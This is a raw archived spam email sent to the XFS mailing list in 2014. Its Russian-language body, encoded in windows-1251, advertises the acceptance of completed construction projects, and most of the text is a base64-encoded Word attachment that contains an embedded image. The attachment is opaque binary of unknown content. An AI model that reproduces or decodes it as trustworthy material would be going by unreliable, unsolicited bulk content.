------=_NextPart_000_6BFE_01CF0D5C.DE394040-- From alex@home.nl Fri Jan 10 01:14:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD56B7F3F for ; Fri, 10 Jan 2014 01:14:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CAADB8F8035 for ; Thu, 9 Jan 2014 23:14:48 -0800 (PST) X-ASG-Debug-ID: 1389338080-04cb6c537dcea030001-NocioJ Received: from lcdalw657.amhost.net (hosted-by.leaseweb.com [95.211.30.33]) by cuda.sgi.com with ESMTP id F0H2AJkz6nTPRG6x (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 09 Jan 2014 23:14:42 -0800 (PST) X-Barracuda-Envelope-From: alex@home.nl X-Barracuda-Apparent-Source-IP: 95.211.30.33 Received: from [81.211.80.22] (helo=Unknown) by lcdalw657.amhost.net with esmtpa (Exim 4.76) (envelope-from ) id 1W1VD9-0005UF-4y; Fri, 10 Jan 2014 07:04:52 +0100 Message-ID: <82F316640D48402ABA6D8148070DF662@jgni> Reply-To: =?windows-1251?B?0dLQzsjSxcvczcDfIN3K0c/F0NLIx8A=?= From: =?windows-1251?B?0dLQzsjSxcvczcDfIN3K0c/F0NLIx8A=?= To: , , , Subject: =?windows-1251?B?z/Dg4u7i++Ug7vHt7uL7IO7x8/nl8fLi6+Xt?= =?windows-1251?B?6P8g8fLw7ujy5ev87e7j7iDq7u3y8O7r/w==?= Date: Fri, 10 Jan 2014 08:15:09 +0100 X-ASG-Orig-Subj: =?windows-1251?B?z/Dg4u7i++Ug7vHt7uL7IO7x8/nl8fLi6+Xt?= =?windows-1251?B?6P8g8fLw7ujy5ev87e7j7iDq7u3y8O7r/w==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0A7E_01CF0DDC.141A5530" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: hosted-by.leaseweb.com[95.211.30.33] X-Barracuda-Start-Time: 1389338081 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143929 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0A7E_01CF0DDC.141A5530 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0A7F_01CF0DDC.141A5530" ------=_NextPart_001_0A7F_01CF0DDC.141A5530 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E5=EC=EA=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=FB=F5 =F1=F2=F0=EE=E8=F2= =E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC= =ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 ------=_NextPart_001_0A7F_01CF0DDC.141A5530 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=E8=E5=EC=EA=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=FB=F5 =F1=F2=F0=EE= =E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0= =EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0
------=_NextPart_001_0A7F_01CF0DDC.141A5530-- ------=_NextPart_000_0A7E_01CF0DDC.141A5530 Content-Type: application/msword; name="=?windows-1251?B?z+7w/+Tu6iDi4u7k4CDiIP3q8e/r8+Dy4Pbo?= =?windows-1251?B?/iDn4Oru7ffl7e3u4+4g7uH65ery4C5kb2M=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?z+7w/+Tu6iDi4u7k4CDiIP3q8e/r8+Dy4Pbo?= =?windows-1251?B?/iDn4Oru7ffl7e3u4+4g7uH65ery4C5kb2M=?=" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAACAAAAnAAAAAAAAAAA EAAAngAAAAEAAAD+////AAAAAJoAAACbAAAA//////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAWeAZBAAA+BK/AAAAAAAAEAAAAAAACAAAAggAAA4AYmpialvJW8kAAAAAAAAAAAAAAAAAAAAA AAAZBBYANA4AADmjClw5owpcAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAD4HAAAAAAAAPgcAAOAU AAAAAAAA4BQAAAAAAADgFAAAAAAAAOAUAAAAAAAA4BQAABQAAAAAAAAAAAAAAP////8AAAAA9BQA AAAAAAD0FAAAAAAAAPQUAAAAAAAA9BQAAAwAAAAAFQAADAAAAPQUAAAAAAAARBkAADABAAAMFQAA AAAAAAwVAAAAAAAADBUAAAAAAAAMFQAAAAAAAAwVAAAAAAAA5xUAAAAAAADnFQAAAAAAAOcVAAAA AAAAwxgAAAIAAADFGAAAAAAAAMUYAAAAAAAAxRgAAAAAAADFGAAAAAAAAMUYAAAAAAAAxRgAACQA AAB0GgAAtgIAACodAAA6AAAA6RgAABUAAAAAAAAAAAAAAAAAAAAAAAAA4BQAAAAAAADnFQAAAAAA AAAAAAAAAAAAAAAAAAAAAADnFQAAAAAAAOcVAAAAAAAA5xUAAAAAAADnFQAAAAAAAOkYAAAAAAAA AAAAAAAAAADgFAAAAAAAAOAUAAAAAAAADBUAAAAAAAAAAAAAAAAAAAwVAADbAAAA/hgAABYAAAAX FgAAAAAAABcWAAAAAAAAFxYAAAAAAADnFQAAEAAAAOAUAAAAAAAADBUAAAAAAADgFAAAAAAAAAwV AAAAAAAAwxgAAAAAAAAAAAAAAAAAABcWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA5xUAAAAAAADDGAAAAAAAAAAAAAAAAAAAFxYAAAAAAAAAAAAA AAAAABcWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFxYAAAAAAAAMFQAAAAAAAP////8AAAAAUK3Qzy4N zwEAAAAAAAAAAP////8AAAAA9xUAABAAAAAXFgAAAAAAAAAAAAAAAAAArxgAABQAAAAUGQAAMAAA AEQZAAAAAAAAFxYAAAAAAABkHQAAAAAAAAcWAAAQAAAAZB0AAAAAAAAXFgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAGQdAAAAAAAAAAAAAAAAAADgFAAAAAAAABcWAACYAgAA5xUAAAAAAADnFQAAAAAAABcW AAAAAAAA5xUAAAAAAADnFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5xUA AAAAAADnFQAAAAAAAOcVAAAAAAAA6RgAAAAAAADpGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAFxYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOcVAAAA AAAA5xUAAAAAAADnFQAAAAAAAEQZAAAAAAAA5xUAAAAAAADnFQAAAAAAAOcVAAAAAAAA5xUAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAGQdAAAAAAAA5xUAAAAAAADn FQAAAAAAAOcVAAAAAAAA5xUAAAAAAADnFQAAAAAAAOcVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADnFQAAAAAAAOcVAAAAAAAA5xUA AAAAAAA+BwAAaAwAAKYTAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEI AAACCAAA7ekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAYWaCVi/gAAJANqAAAAABVodludABZohidVAFUIAW1IAARuSAAEdEgZBHUIAQIACAAAAggA AP0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAATIAMZBoATpw hidVAB+wgi4gsMZBIbAAACKwAAAjkAAAJJAAACWwAAAXsMUCGLDFAgyQxAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa+UAAEQAZAAA AAAAAAAIAAAAAAAAAAAAAAAAAIEuyEHoA+gDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAPAATwLgEAALIECvAIAAAAAQQAAAAKAACTAAvw/AAAAH8AgAD5AQRBAQAAAAXBBAAAAD8BAAAG AL8BAAARAP8BAAAIAIDDFAAAAIHDrgAAAL8DAAACADIAAAAgBDgEQQRDBD0EPgQ6BCAAMQAAAEMA OgBcAFkAYQBuAGQAZQB4AEQAaQBzAGsAXABhAHQAawBzAHAAYgBcAF8AIQAcBDAEOgQ1BEIESwQg ACgAMgRABDUEPAQ1BD0EPQQwBE8EIAA/BDAEPwQ6BDAEKQBcADIAMAAxADQALQAxAFwAMAAxACAA LwQ9BDIEMARABEwEXAAxADAAXAAQBDwEMgQ4BEAEXABwAG4AZwBcAHMAawBcADIALgBwAG4AZwAA ABMAIvEGAAAAqgMAAAAPAAAQ8AQAAAAAAACAYgAH8OnjAAAGBgFcNdYF6moWKdHF6F390CP/AMXj AAABAAAARAAAAAAAAAAAbh7wveMAAAFcNdYF6moWKdHF6F390CP/iVBORw0KGgoAAAANSUhEUgAA BNgAAAbaCAMAAAAgPzpsAAAKN2lDQ1BzUkdCIElFQzYxOTY2LTIuMQAAeJydlndUU9kWh8+9N71Q khCKlNBraFICSA29SJEuKjEJEErAkAAiNkRUcERRkaYIMijggKNDkbEiioUBUbHrBBlE1HFwFBuW SWStGd+8ee/Nm98f935rn73P3Wfvfda6AJD8gwXCTFgJgAyhWBTh58WIjYtnYAcBDPAAA2wA4HCz s0IW+EYCmQJ82IxsmRP4F726DiD5+yrTP4zBAP+flLlZIjEAUJiM5/L42VwZF8k4PVecJbdPyZi2 NE3OMErOIlmCMlaTc/IsW3z2mWUPOfMyhDwZy3PO4mXw5Nwn4405Er6MkWAZF+cI+LkyviZjg3RJ hkDGb+SxGXxONgAoktwu5nNTZGwtY5IoMoIt43kA4EjJX/DSL1jMzxPLD8XOzFouEiSniBkmXFOG jZMTi+HPz03ni8XMMA43jSPiMdiZGVkc4XIAZs/8WRR5bRmyIjvYODk4MG0tbb4o1H9d/JuS93aW XoR/7hlEH/jD9ld+mQ0AsKZltdn6h21pFQBd6wFQu/2HzWAvAIqyvnUOfXEeunxeUsTiLGcrq9zc XEsBn2spL+jv+p8Of0NffM9Svt3v5WF485M4knQxQ143bmZ6pkTEyM7icPkM5p+H+B8H/nUeFhH8 JL6IL5RFRMumTCBMlrVbyBOIBZlChkD4n5r4D8P+pNm5lona+BHQllgCpSEaQH4eACgqESAJe2Qr 0O99C8ZHA/nNi9GZmJ37z4L+fVe4TP7IFiR/jmNHRDK4ElHO7Jr8WgI0IABFQAPqQBvoAxPABLbA EbgAD+ADAkEoiARxYDHgghSQAUQgFxSAtaAYlIKtYCeoBnWgETSDNnAYdIFj4DQ4By6By2AE3AFS MA6egCnwCsxAEISFyBAVUod0IEPIHLKFWJAb5AMFQxFQHJQIJUNCSAIVQOugUqgcqobqoWboW+go dBq6AA1Dt6BRaBL6FXoHIzAJpsFasBFsBbNgTzgIjoQXwcnwMjgfLoK3wJVwA3wQ7oRPw5fgEVgK P4GnEYAQETqiizARFsJGQpF4JAkRIauQEqQCaUDakB6kH7mKSJGnyFsUBkVFMVBMlAvKHxWF4qKW oVahNqOqUQdQnag+1FXUKGoK9RFNRmuizdHO6AB0LDoZnYsuRlegm9Ad6LPoEfQ4+hUGg6FjjDGO GH9MHCYVswKzGbMb0445hRnGjGGmsVisOtYc64oNxXKwYmwxtgp7EHsSewU7jn2DI+J0cLY4X1w8 TogrxFXgWnAncFdwE7gZvBLeEO+MD8Xz8MvxZfhGfA9+CD+OnyEoE4wJroRIQiphLaGS0EY4S7hL eEEkEvWITsRwooC4hlhJPEQ8TxwlviVRSGYkNimBJCFtIe0nnSLdIr0gk8lGZA9yPFlM3kJuJp8h 3ye/UaAqWCoEKPAUVivUKHQqXFF4pohXNFT0VFysmK9YoXhEcUjxqRJeyUiJrcRRWqVUo3RU6YbS tDJV2UY5VDlDebNyi/IF5UcULMWI4kPhUYoo+yhnKGNUhKpPZVO51HXURupZ6jgNQzOmBdBSaaW0 b2iDtCkVioqdSrRKnkqNynEVKR2hG9ED6On0Mvph+nX6O1UtVU9Vvuom1TbVK6qv1eaoeajx1UrU 2tVG1N6pM9R91NPUt6l3qd/TQGmYaYRr5Grs0Tir8XQObY7LHO6ckjmH59zWhDXNNCM0V2ju0xzQ nNbS1vLTytKq0jqj9VSbru2hnaq9Q/uE9qQOVcdNR6CzQ+ekzmOGCsOTkc6oZPQxpnQ1df11Jbr1 uoO6M3rGelF6hXrtevf0Cfos/ST9Hfq9+lMGOgYhBgUGrQa3DfGGLMMUw12G/YavjYyNYow2GHUZ PTJWMw4wzjduNb5rQjZxN1lm0mByzRRjyjJNM91tetkMNrM3SzGrMRsyh80dzAXmu82HLdAWThZC iwaLG0wS05OZw2xljlrSLYMtCy27LJ9ZGVjFW22z6rf6aG1vnW7daH3HhmITaFNo02Pzq62ZLde2 xvbaXPJc37mr53bPfW5nbse322N3055qH2K/wb7X/oODo4PIoc1h0tHAMdGx1vEGi8YKY21mnXdC O3k5rXY65vTW2cFZ7HzY+RcXpkuaS4vLo3nG8/jzGueNueq5clzrXaVuDLdEt71uUnddd457g/sD D30PnkeTx4SnqWeq50HPZ17WXiKvDq/XbGf2SvYpb8Tbz7vEe9CH4hPlU+1z31fPN9m31XfKz95v hd8pf7R/kP82/xsBWgHcgOaAqUDHwJWBfUGkoAVB1UEPgs2CRcE9IXBIYMj2kLvzDecL53eFgtCA 0O2h98KMw5aFfR+OCQ8Lrwl/GGETURDRv4C6YMmClgWvIr0iyyLvRJlESaJ6oxWjE6Kbo1/HeMeU x0hjrWJXxl6K04gTxHXHY+Oj45vipxf6LNy5cDzBPqE44foi40V5iy4s1licvvj4EsUlnCVHEtGJ MYktie85oZwGzvTSgKW1S6e4bO4u7hOeB28Hb5Lvyi/nTyS5JpUnPUp2Td6ePJninlKR8lTAFlQL nqf6p9alvk4LTduf9ik9Jr09A5eRmHFUSBGmCfsytTPzMoezzLOKs6TLnJftXDYlChI1ZUPZi7K7 xTTZz9SAxESyXjKa45ZTk/MmNzr3SJ5ynjBvYLnZ8k3LJ/J9879egVrBXdFboFuwtmB0pefK+lXQ qqWrelfrry5aPb7Gb82BtYS1aWt/KLQuLC98uS5mXU+RVtGaorH1futbixWKRcU3NrhsqNuI2ijY OLhp7qaqTR9LeCUXS61LK0rfb+ZuvviVzVeVX33akrRlsMyhbM9WzFbh1uvb3LcdKFcuzy8f2x6y vXMHY0fJjpc7l+y8UGFXUbeLsEuyS1oZXNldZVC1tep9dUr1SI1XTXutZu2m2te7ebuv7PHY01an VVda926vYO/Ner/6zgajhop9mH05+x42Rjf2f836urlJo6m06cN+4X7pgYgDfc2Ozc0tmi1lrXCr pHXyYMLBy994f9Pdxmyrb6e3lx4ChySHHn+b+O31w0GHe4+wjrR9Z/hdbQe1o6QT6lzeOdWV0iXt jusePhp4tLfHpafje8vv9x/TPVZzXOV42QnCiaITn07mn5w+lXXq6enk02O9S3rvnIk9c60vvG/w bNDZ8+d8z53p9+w/ed71/LELzheOXmRd7LrkcKlzwH6g4wf7HzoGHQY7hxyHui87Xe4Znjd84or7 ldNXva+euxZw7dLI/JHh61HXb95IuCG9ybv56Fb6ree3c27P3FlzF3235J7SvYr7mvcbfjT9sV3q ID0+6j068GDBgztj3LEnP2X/9H686CH5YcWEzkTzI9tHxyZ9Jy8/Xvh4/EnWk5mnxT8r/1z7zOTZ d794/DIwFTs1/lz0/NOvm1+ov9j/0u5l73TY9P1XGa9mXpe8UX9z4C3rbf+7mHcTM7nvse8rP5h+ 6PkY9PHup4xPn34D94Tz+49wZioAAAAMUExURf///6z//zBB/wMDCaE6GvgAAAAJcEhZcwAAFxEA ABcRAcom8z8AACAASURBVHic7J2Jtqo4EEXR9P//ca79ZAhVSWUAUTDu3avfVchQGThmIvlvAADo jP/ONgAA4GgQNgDoDoQNALoDYQOA7kDYAKA7EDYA6A6EDQC6A2EDgO5A2ACgOxA2AOgOhA0AugNh A4DuQNgAoDsQNgDoDoQNALoDYQOA7kDYAKA7EDYA6A6EDQC6A2EDgO5A2ACgOxA2AOgOhA0AugNh A4DuQNgAoDsQNgDoDoQNALoDYQOA7kDYAKA7EDYA6A6EDQC6A2EDgO5A2ACgOxA2AOgOhA0AugNh A4DuQNgAoDsQNgDoDoQNALoDYQOA7kDYAKA7EDYA6A6EDQC6A2EDgO5A2ACgOxA2AOgOhA0AugNh A4DuQNgAoDsQNgDoDoQNALoDYQOA7kDYAKA7EDYA6A6EbQfOn20BAJRA2LbjFmVzw4DEAVwQhK2Z IGOeFhvAtUHYNvDUMye/o3AAlwRhayPomXfxFQC4GghbG6meeZQN4KogbG24wjcAuBgIWxs+UbN4 wA0ALgPC1oQT/8pLz3+YQAC4GghbE+mAWriCrgFcDoRNkVu/saPPyepdgNNA2CSuJkdry60idYy+ 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 